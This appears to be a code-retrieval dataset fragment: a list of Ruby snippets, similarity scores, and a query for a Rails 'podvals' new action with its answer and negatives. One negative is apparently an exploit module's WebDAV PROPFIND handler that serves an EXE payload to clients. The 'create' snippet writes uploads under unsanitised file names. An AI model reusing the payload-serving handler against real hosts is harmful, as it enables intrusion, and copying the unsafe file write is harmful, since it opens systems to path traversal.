"def index\n @vol_values = @volatility.vol_values.asc(:timestamp).page params[:page]\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @volatility.vol_values.asc(:timestamp) }\n end\n end",
"def test_successful_authorize\n body = '<status>\n <authorized>true</authorized>\n <plan>Ultimate</plan>\n\n <usage_reports>\n <usage_report metric=\"hits\" period=\"day\">\n <period_start>2010-04-26 00:00:00 +0000</period_start>\n <period_end>2010-04-27 00:00:00 +0000</period_end>\n <current_value>10023</current_value>\n <max_value>50000</max_value>\n </usage_report>\n\n <usage_report metric=\"hits\" period=\"month\">\n <period_start>2010-04-01 00:00:00 +0000</period_start>\n <period_end>2010-05-01 00:00:00 +0000</period_end>\n <current_value>999872</current_value>\n <max_value>150000</max_value>\n </usage_report>\n </usage_reports>\n </status>'\n\n FakeWeb.register_uri(:get, \"http://#{@host}/transactions/authorize.xml?provider_key=1234abcd&app_id=foo\", :status => ['200', 'OK'], :body => body)\n\n response = @client.authorize(:app_id => 'foo')\n\n assert response.success?\n assert_equal 'Ultimate', response.plan\n assert_equal 2, response.usage_reports.size\n\n assert_equal :day, response.usage_reports[0].period\n assert_equal Time.utc(2010, 4, 26), response.usage_reports[0].period_start\n assert_equal Time.utc(2010, 4, 27), response.usage_reports[0].period_end\n assert_equal 10023, response.usage_reports[0].current_value\n assert_equal 50000, response.usage_reports[0].max_value\n\n assert_equal :month, response.usage_reports[1].period\n assert_equal Time.utc(2010, 4, 1), response.usage_reports[1].period_start\n assert_equal Time.utc(2010, 5, 1), response.usage_reports[1].period_end\n assert_equal 999872, response.usage_reports[1].current_value\n assert_equal 150000, response.usage_reports[1].max_value\n end",
"def list_tenants_for_circles(args = {}) \n get(\"/tenants.json/circles\", args)\nend",
"def pv(val)\n puts \"\\n*** VAL: *********************************************************\"\n val.each_index do |index|\n puts \" val[#{index}]=\"\n pp val[index]\n end\n puts \"******************************************************************\"\n puts\nend",
"def pv(val)\n puts \"\\n*** VAL: *********************************************************\"\n val.each_index do |index|\n puts \" val[#{index}]=\"\n pp val[index]\n end\n puts \"******************************************************************\"\n puts\nend",
"def index\n @pppams_indicator_base_refs = PppamsIndicatorBaseRef.paginate(:all, :per_page => 20, :page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pppams_indicator_base_refs }\n>>>>>>> 7436653363ecf064fdcfcd2b30df919b5144a2b8\n end\n end",
"def index\n @params_config_type_docs = ParamsConfigTypeDoc.all\n end",
"def process_propfind(cli, request)\r\n\t\tpath = request.uri\r\n\t\tprint_status(\"Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport}\")\r\n\t\tbody = ''\r\n\r\n\t\tif (Regexp.new(Regexp.escape(@payload)+'$', true).match(path))\r\n\t\t\t# Response for the EXE\r\n\t\t\tprint_status(\"Sending EXE multistatus for #{path} ...\")\r\n#<lp1:getcontentlength>45056</lp1:getcontentlength>\r\n\t\t\tbody = %Q|<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<D:multistatus xmlns:D=\"DAV:\">\r\n<D:response xmlns:lp1=\"DAV:\" xmlns:lp2=\"http://apache.org/dav/props/\">\r\n<D:href>#{path}</D:href>\r\n<D:propstat>\r\n<D:prop>\r\n<lp1:resourcetype/>\r\n<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>\r\n<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>\r\n<lp1:getetag>\"39e0132-b000-43c6e5f8d2f80\"</lp1:getetag>\r\n<lp2:executable>F</lp2:executable>\r\n<D:lockdiscovery/>\r\n<D:getcontenttype>application/octet-stream</D:getcontenttype>\r\n</D:prop>\r\n<D:status>HTTP/1.1 200 OK</D:status>\r\n</D:propstat>\r\n</D:response>\r\n</D:multistatus>\r\n|\r\n\t\telsif (path =~ /\\.manifest$/i) or (path =~ /\\.config$/i) or (path =~ /\\.exe/i)\r\n\t\t\tprint_status(\"Sending 404 for #{path} ...\")\r\n\t\t\tsend_not_found(cli)\r\n\t\t\treturn\r\n\r\n\t\telsif (path =~ /\\/$/) or (not path.sub('/', '').index('/'))\r\n\t\t\t# Response for anything else (generally just /)\r\n\t\t\tprint_status(\"Sending directory multistatus for #{path} ...\")\r\n\t\t\tbody = %Q|<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<D:multistatus xmlns:D=\"DAV:\">\r\n<D:response xmlns:lp1=\"DAV:\" xmlns:lp2=\"http://apache.org/dav/props/\">\r\n<D:href>#{path}</D:href>\r\n<D:propstat>\r\n<D:prop>\r\n<lp1:resourcetype><D:collection/></lp1:resourcetype>\r\n<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>\r\n<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>\r\n<lp1:getetag>\"39e0001-1000-4808c3ec95000\"</lp1:getetag>\r\n<D:lockdiscovery/>\r\n<D:getcontenttype>httpd/unix-directory</D:getcontenttype>\r\n</D:prop>\r\n<D:status>HTTP/1.1 200 OK</D:status>\r\n</D:propstat>\r\n</D:response>\r\n</D:multistatus>\r\n|\r\n\r\n\t\telse\r\n\t\t\tprint_status(\"Sending 404 for #{path} ...\")\r\n\t\t\tsend_not_found(cli)\r\n\t\t\treturn\r\n\t\tend\r\n\r\n\t\t# send the response\r\n\t\tresp = create_response(207, \"Multi-Status\")\r\n\t\tresp.body = body\r\n\t\tresp['Content-Type'] = 'text/xml'\r\n\t\tcli.send_response(resp)\r\n\tend",
"def certs\n request :get, '/certs'\n end",
"def url_value\n xml_value\n end",
"def getStatus()\n params = Hash.new\n return doCurl(\"get\",\"/status\",params)\n end",
"def list_users(api_object)\r\n puts \"Current Users:\"\r\n doc = Nokogiri::XML.parse api_object.read\r\n names = doc.xpath('users').collect {|e| e.text }\r\n puts names.join(\", \")\r\n puts \"\"\r\nend",
"def http_method\n :get\n end",
"def getNodeStatus(node_id) \n cm_url = APP_CONFIG['cm_ip'] + ':' + APP_CONFIG['cm_port'].to_s\n res = HTTParty.get(cm_url+\"/resources/node/\"+ node_id)\n # puts \"status \"+node_id\n # puts res\n return res\n\n end",
"def index\n @perfis = Perfil.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @perfis }\n end\n end"
] | [
"0.60993767",
"0.57483554",
"0.56734437",
"0.5239529",
"0.5156862",
"0.5083917",
"0.50354815",
"0.5031465",
"0.49419847",
"0.492067",
"0.49194166",
"0.49026126",
"0.4887002",
"0.48712024",
"0.48311663",
"0.481108",
"0.48047805",
"0.4791674",
"0.47803277",
"0.47778094",
"0.47694853",
"0.47592637",
"0.47510523",
"0.47422883",
"0.47387832",
"0.47378471",
"0.47279283",
"0.47221",
"0.4706451",
"0.4685849",
"0.4682624",
"0.46773648",
"0.46693808",
"0.466828",
"0.4665086",
"0.4664714",
"0.46609914",
"0.46515712",
"0.46436462",
"0.464278",
"0.46334127",
"0.46305567",
"0.46286824",
"0.46237105",
"0.46234435",
"0.46230802",
"0.46225762",
"0.4619842",
"0.46197912",
"0.45923382",
"0.4587814",
"0.45876193",
"0.45867008",
"0.4567093",
"0.45660457",
"0.45597357",
"0.45565385",
"0.45563412",
"0.45530024",
"0.45485017",
"0.45396805",
"0.45376784",
"0.453349",
"0.4529963",
"0.45283335",
"0.45233834",
"0.4518913",
"0.45129034",
"0.45105547",
"0.45069033",
"0.45037478",
"0.45020476",
"0.44999233",
"0.4499761",
"0.44975436",
"0.44961852",
"0.44955346",
"0.4494835",
"0.44935027",
"0.44925752",
"0.44888973",
"0.44860917",
"0.4485106",
"0.44813594",
"0.44809568",
"0.44781232",
"0.44662827",
"0.4465589",
"0.44608757",
"0.44594032",
"0.44564286",
"0.44558075",
"0.44557688",
"0.44532958",
"0.4447314",
"0.44453013",
"0.4444332",
"0.44425726",
"0.44392252",
"0.44352165"
] | 0.66280293 | 0 |
GET /podvals/new GET /podvals/new.xml | def new
@podval = Podval.new
respond_to do |format|
format.html # new.html.erb
format.xml { render :xml => @podval }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end",
"def new\n @prop_value = PropValue.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @prop_value }\n end\n end",
"def new\n @versioned_jnlp_url = MavenJnlp::VersionedJnlpUrl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @versioned_jnlp_url }\n end\n end",
"def new\n @known_value = KnownValue.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @known_value }\n end\n end",
"def new\n @pdig = Pdig.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pdig }\n end\n end",
"def new\n @p_stat = PStat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @p_stat }\n end\n end",
"def new\n @versioned_jnlp = MavenJnlp::VersionedJnlp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @versioned_jnlp }\n end\n end",
"def new\n @pulve = Pulve.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pulve }\n end\n end",
"def get_all_new\n uri = [@@base_uri, 'all', 'getAllNew'].join('/')\n return get(uri)\n end",
"def new\n @prd_threshold = PrdThreshold.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @prd_threshold }\n end\n end",
"def new\n @periode = Periode.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @periode }\n end\n end",
"def new\n @newtype = params[:newtype]\n @ptbudget = Ptbudget.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ptbudget }\n end\n end",
"def new\n @config_value = ConfigValue.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @config_value }\n end\n end",
"def new\n @app_version = @app.app_versions.build\n # @app_version = AppVersion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @app_version }\n end\n end",
"def new\n @prop = Prop.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @prop }\n end\n end",
"def new\n @param_value = ParamValue.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @param_value }\n end\n end",
"def new_rest\n @instrument_version = InstrumentVersion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instrument_version }\n end\n end",
"def new\n @probe = Probe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @probe }\n end\n end",
"def new\n @precio = Precio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @precio }\n end\n end",
"def new\n @retain_node = RetainNode.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @retain_node }\n format.json { render :json => @retain_node }\n end\n end",
"def new_releases\n api_call(\"https://api.spotify.com/\",\"/v1/browse/new-releases\")\n end",
"def new\n @promos = Promos.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @promos }\n end\n end",
"def new\n @occurence = Occurence.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @occurence }\n end\n end",
"def new\n @novel = Novel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @novel }\n end\n end",
"def new\n @erratum = Erratum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @erratum }\n end\n end",
"def new\n @st_pi = StPi.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @st_pi }\n end\n end",
"def new\n @peep = Peep.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @peep }\n end\n end",
"def new\n @period = Period.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @period }\n end\n end",
"def new\n @resp = Response.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resp }\n end\n end",
"def new\n @ref = Ref.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ref }\n end\n end",
"def new\n @status = Status.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @status }\n end\n end",
"def new\n @status = Status.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @status }\n end\n end",
"def new\n @status = Status.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @status }\n end\n end",
"def new\n @po = Po.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @po }\n end\n end",
"def new\n @lookup_pettracer = LookupPettracer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_pettracer }\n end\n end",
"def new\n @lookup_pettracer = LookupPettracer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_pettracer }\n end\n end",
"def index\n @podvals = Podval.find(:all)\n @podval = Podval.find_by_main(1)\n if @podval == nil\n @podvals = Podval.find_all_by_vis(1)\n @podval = @podvals.choice\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @podvals }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @notifier }\n end\n end",
"def getNew\n\t\[email protected] ['id', 'pid', 'title', 'tracker', 'created'], ['status', 'new']\n\tend",
"def new\n @service_version = ServiceVersion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @service_version }\n end\n end",
"def new\n @nagios_service_escalation_template = NagiosServiceEscalationTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nagios_service_escalation_template }\n end\n end",
"def new\n @prd_etc = PrdEtc.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @prd_etc }\n end\n end",
"def new\n @newspage = Newspage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @newspage }\n end\n end",
"def new\n @ptbudget = Ptbudget.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ptbudget }\n end\n end",
"def new\n @poll = Poll.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @poll }\n end\n end",
"def new\n @ptid = Ptid.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ptid }\n end\n end",
"def new\n @node = Node.scopied.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end",
"def new\n @discovery = Discovery.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @discovery }\n end\n end",
"def new\n @ptschedule = Ptschedule.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ptschedule }\n end\n end",
"def new\n @release_status = ReleaseStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @release_status }\n end\n end",
"def new\n @voc = Voc.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @voc }\n end\n end",
"def new\n @pr = Pr.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pr }\n end\n end",
"def new\n @rep = Rep.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rep }\n end\n end",
"def new\n @resolved = Resolved.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resolved }\n end\n end",
"def new\n @retain_node_selector = RetainNodeSelector.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @retain_node_selector }\n end\n end",
"def new\n respond_to do |format|\n format.xml { render :xml => @schedule }\n end\n end",
"def new\n @project_status = ProjectStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project_status }\n end\n end",
"def new\n @ptdo = Ptdo.new(:ptschedule_id => params[:ptschedule_id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ptdo }\n end\n end",
"def new\n @reqinfo = Reqinfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @reqinfo }\n end\n end",
"def new\n @vol_value = @volatility.vol_values.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vol_value }\n end\n end",
"def new\n @val = Val.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @val }\n end\n end",
"def new\n @old_point_tag = OldPointTag.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @old_point_tag }\n end\n end",
"def new\n @app = current_user.apps.new\n @app.app_versions << AppVersion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @app }\n end\n end",
"def new\n @peca = Peca.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @peca }\n end\n end",
"def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @vip_programmer_certification }\n end\n end",
"def new\n @periodista = Periodista.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @periodista }\n end\n end",
"def new\n @pat_project = Pat::Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pat_project }\n end\n end",
"def new\n @pto = Pto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pto }\n end\n end",
"def new\n\t\t@produt = Produt.new\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.xml {render :xml => @produt}\n\t\tend\n\tend",
"def new\n @new_status = NewStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @new_status }\n end\n end",
"def new\n @schedule = Schedule.new\n @apps = App.find(:all)\n @tags = Contact.get_tags\n\n respond_to do |format|\n format.html # new.haml\n format.xml { render :xml => @schedule }\n end\n end",
"def new\n @patrimonio = Patrimonio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @patrimonio }\n end\n end",
"def new\n @attr_val = AttrVal.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attr_val }\n end\n end",
"def new\n @kpi = Kpi.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @kpi }\n end\n end",
"def new\n @stat = Stat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @stat }\n end\n end",
"def new\n @stat = Stat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @stat }\n end\n end",
"def new\n @list_of_value = Irm::ListOfValue.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @list_of_value }\n end\n end",
"def new_rest\n @item_usage = ItemUsage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item_usage }\n end\n end",
"def new\n @pneighbour = Pneighbour.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pneighbour }\n end\n end",
"def new\n @tstat = Tstat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tstat }\n end\n end",
"def new\n @ppage = Podpage.new\n end",
"def new_rest\n @page_usage_event = PageUsageEvent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page_usage_event }\n end\n end",
"def new\n @usage_status = UsageStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @usage_status }\n end\n end",
"def new\n @podcast = Podcast.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @podcast }\n end\n end",
"def new\n @podcast = Podcast.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @podcast }\n end\n end",
"def new\n new_prc\n\n setup_campuses_and_semesters\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @prc }\n end\n end",
"def new\n @omatsuri = Omatsuri.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @omatsuri }\n end\n end",
"def new\n @deposit_threshold = DepositThreshold.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @deposit_threshold }\n end\n end",
"def new\n @ppos_prerequisite = PposPrerequisite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ppos_prerequisite }\n end\n end",
"def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @vip_programmer_service }\n end\n end",
"def new\n @pst = Pst.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @pst }\n end\n end",
"def new\n @tv = Tv.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tv }\n end\n end",
"def new\n @var_conf = VarConf.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @var_conf }\n end\n end",
"def new\n \tif params[:id]\n \t\t@old_doc = Doc.find(params[:id])\n \t\t@doc = Doc.new({:component => @old_doc.component, :maj_version => (params[:version] == \"major\" ? @old_doc.maj_version + 1 : @old_doc.maj_version ), :min_version => (params[:version] == \"minor\" ? @old_doc.min_version + 1 : @old_doc.min_version), :dev_stage => @old_doc.dev_stage, :url => @old_doc.new_version_url(params[:version]), :contents => @old_doc.contents})\n \telse\n\t @doc = Doc.new\n\t\tend\n\t\t\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @doc }\n end\n end",
"def new\n @status = Status.new\n @status.build_document\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @status }\n end\n end",
"def new\n @installation = Installation.find(params[:installation_id]) \n @offpost = Offpost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @offpost }\n end\n end",
"def new\n @possess = Possess.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @possess }\n end\n end",
"def new\n # Set variables\n @snop = Snop.new\n @default_uri = params[:uri]\n\n respond_to do |format|\n format.html # new.html.erb\n end\n end",
"def new\n @pnote = Pnote.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pnote }\n end\n end",
"def new\n @new_policy = NewPolicy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @new_policy }\n end\n end"
] | [
"0.62041026",
"0.5975784",
"0.59499407",
"0.58696115",
"0.5821277",
"0.58180106",
"0.5790565",
"0.5777775",
"0.5769915",
"0.5724539",
"0.56767046",
"0.5672125",
"0.56688523",
"0.5617821",
"0.5609206",
"0.5586452",
"0.55854684",
"0.558404",
"0.55838054",
"0.5582039",
"0.5566621",
"0.55627483",
"0.5544045",
"0.55416536",
"0.55385816",
"0.55326873",
"0.5519811",
"0.55188435",
"0.5516727",
"0.5514215",
"0.55121344",
"0.55121344",
"0.55121344",
"0.551024",
"0.55077696",
"0.5507297",
"0.55021703",
"0.54978186",
"0.54943",
"0.5491947",
"0.5491776",
"0.5489169",
"0.54866225",
"0.5481841",
"0.5469476",
"0.5469253",
"0.546889",
"0.5452843",
"0.5437222",
"0.54331326",
"0.54322743",
"0.5431664",
"0.5428445",
"0.54165393",
"0.54158777",
"0.541341",
"0.5390861",
"0.5386183",
"0.53742725",
"0.5373609",
"0.5371739",
"0.5370649",
"0.53656316",
"0.5363304",
"0.5360604",
"0.5356843",
"0.5356361",
"0.53545916",
"0.5353032",
"0.53501",
"0.5335758",
"0.53340876",
"0.5333534",
"0.5333158",
"0.5331057",
"0.5331057",
"0.5327809",
"0.5324073",
"0.53239554",
"0.5317192",
"0.5316908",
"0.5315953",
"0.53135085",
"0.53076506",
"0.5307075",
"0.53014296",
"0.5298204",
"0.529717",
"0.5284522",
"0.52841914",
"0.5283883",
"0.52803",
"0.52772623",
"0.5275973",
"0.52753127",
"0.52743703",
"0.52738565",
"0.52671325",
"0.5266024",
"0.52650815"
] | 0.7312344 | 0 |
POST /podvals POST /podvals.xml | def create
@podval = Podval.new(params[:podval])
name1 = params[:podval][:tov1img].original_filename if params[:podval][:tov1img]
name2 = params[:podval][:tov2img].original_filename if params[:podval][:tov2img]
name3 = params[:podval][:tov3img].original_filename if params[:podval][:tov3img]
name4 = params[:podval][:tov4img].original_filename if params[:podval][:tov4img]
name5 = params[:podval][:tov5img].original_filename if params[:podval][:tov5img]
name6 = params[:podval][:divup].original_filename if params[:podval][:divup]
name7 = params[:podval][:divdown].original_filename if params[:podval][:divdown]
directory = 'public/images/podval'
path1 = File.join(directory, name1) if params[:podval][:tov1img]
path2 = File.join(directory, name2) if params[:podval][:tov2img]
path3 = File.join(directory, name3) if params[:podval][:tov3img]
path4 = File.join(directory, name4) if params[:podval][:tov4img]
path5 = File.join(directory, name5) if params[:podval][:tov5img]
path6 = File.join(directory, name6) if params[:podval][:divup]
path7 = File.join(directory, name7) if params[:podval][:divdown]
File.open(path1, "wb") { |f| f.write(params[:podval][:tov1img].read) } if params[:podval][:tov1img]
File.open(path2, "wb") { |f| f.write(params[:podval][:tov2img].read) } if params[:podval][:tov2img]
File.open(path3, "wb") { |f| f.write(params[:podval][:tov3img].read) } if params[:podval][:tov3img]
File.open(path4, "wb") { |f| f.write(params[:podval][:tov4img].read) } if params[:podval][:tov4img]
File.open(path5, "wb") { |f| f.write(params[:podval][:tov5img].read) } if params[:podval][:tov5img]
File.open(path6, "wb") { |f| f.write(params[:podval][:divup].read) } if params[:podval][:divup]
File.open(path7, "wb") { |f| f.write(params[:podval][:divdown].read) } if params[:podval][:divdown]
respond_to do |format|
if @podval.save
@podval.tov1img = name1[0..-5] if params[:podval][:tov1img]
@podval.tov2img = name2[0..-5] if params[:podval][:tov2img]
@podval.tov3img = name3[0..-5] if params[:podval][:tov3img]
@podval.tov4img = name4[0..-5] if params[:podval][:tov4img]
@podval.tov5img = name5[0..-5] if params[:podval][:tov5img]
@podval.divup = name6[0..-5] if params[:podval][:divup]
@podval.divdown = name7[0..-5] if params[:podval][:divdown]
check_podval_cat1s
@podval.save
flash[:notice] = 'Сохранено.'
format.html { redirect_to podvals_path }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def new\n @podval = Podval.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @podval }\n end\n end",
"def post(xmldoc)\n headers = {'Content-Type' => 'text/xml'}\n check_response( @httpcli.post(@endpoint, xmldoc, headers) )\n end",
"def destroy\n @podval = Podval.find(params[:id])\n @podval.destroy\n\n respond_to do |format|\n format.html { redirect_to(podvals_url) }\n format.xml { head :ok }\n end\n end",
"def post(path, params={})\n signature_params = params.values.any?{|value| value.respond_to?(:to_io)} ? {} : params\n request(:post, path, params.to_xml, signature_params)\n end",
"def post(method, params = {})\n url = make_url method, params\n query = url.query\n url.query = nil\n\n req = Net::HTTP::Post.new url.path\n req.body = query\n req.content_type = 'application/x-www-form-urlencoded'\n\n res = Net::HTTP.start url.host, url.port do |http|\n http.request req\n end\n\n xml = Nokogiri::XML(res.body, nil, nil, 0)\n\n check_error xml\n\n parse_response xml\n rescue SystemCallError, SocketError, Timeout::Error, IOError,\n Nokogiri::XML::SyntaxError => e\n raise CommunicationError.new(e)\n rescue Net::HTTPError => e\n xml = Nokogiri::XML(e.res.body) { |cfg| cfg.strict }\n check_error xml\n raise CommunicationError.new(e)\n end",
"def post endpoint, data\n do_request :post, endpoint, data\n end",
"def post(path, params)\n with_monitoring do\n connection.post(path) do |req|\n req.body = Oj.dump(params)\n end\n end\n end",
"def post payload, path = \"\" \n make_request(path, \"post\", payload)\n end",
"def post(url_variables:, body:)\n ensure_service_document\n\n end",
"def post(uri, doc = nil, options = {})\n execute(uri, :post, options, doc)\n end",
"def rsvp_post(options = {})\n\n #add access token if it exists\n url = \"\"\n if options[:access_token]\n #url = \"https://api.meetup.com/2/rsvp?access_token=#{options[:access_token]}\"\n url = \"https://api.meetup.com/2/rsvp.json\"\n\n else\n url = \"https://api.meetup.com/2/rsvp\"\n end\n\n puts \"url posting is #{url}\"\n\n response = post_response(url,options)\n\n if response == \"OK\"\n puts \"rsvp ok\"\n else\n puts response.to_yaml\n end\n end",
"def index\n @podvals = Podval.find(:all)\n @podval = Podval.find_by_main(1)\n if @podval == nil\n @podvals = Podval.find_all_by_vis(1)\n @podval = @podvals.choice\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @podvals }\n end\n end",
"def post_config(url_prefix, xml)\n url_prefix = URI.escape(\"#{@jenkins_path}#{url_prefix}\")\n http = Net::HTTP.start(@server_ip, @server_port)\n request = Net::HTTP::Post.new(\"#{url_prefix}\")\n puts \"[INFO] PUT #{url_prefix}\" if @debug\n request.basic_auth @username, @password\n request.body = xml\n request.content_type = 'application/xml'\n response = http.request(request)\n response.code\n end",
"def post(path, params={})\n request(:post, path, params)\n end",
"def post(path, params={})\n request(:post, path, params)\n end",
"def post(path, params={})\n request(:post, path, params)\n end",
"def post_params=(params)\n self.post_params_yaml = params.to_yaml\n end",
"def post(path, params)\n request(:post, path, params)\n end",
"def create\n ps = params[:val] || { p1: params[:p1], p2: params[:p2], p3: params[:p3], p4: params[:p4], p5: params[:p5],\n p6: params[:p6], p7: params[:p7], p8: params[:p8], p9: params[:p9] }\n @val = Val.new(ps)\n\n respond_to do |format|\n if @val.save\n format.html { redirect_to @val, notice: 'Successfully created.' }\n format.json { render json: @val, status: :created, location: @val }\n else\n format.html { render action: \"new\" }\n format.json { render json: @val.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post\n Typhoeus.post(@url,\n body: @results_hash.to_json,\n headers: { 'Content-Type' => 'application/json' })\n end",
"def post(path, payload={})\n request(:post, path, payload)\n end",
"def post_vrp(key, body, opts = {})\n data, _status_code, _headers = post_vrp_with_http_info(key, body, opts)\n return data\n end",
"def maker_pod_params\n params.require(:maker_pod).permit(:coffee_maker_id, :coffee_pod)\n end",
"def post_config(url_prefix, xml)\n post_data(url_prefix, xml, 'application/xml;charset=UTF-8')\n end",
"def post(uri, params = {})\n send_request(uri, :post, params)\n end",
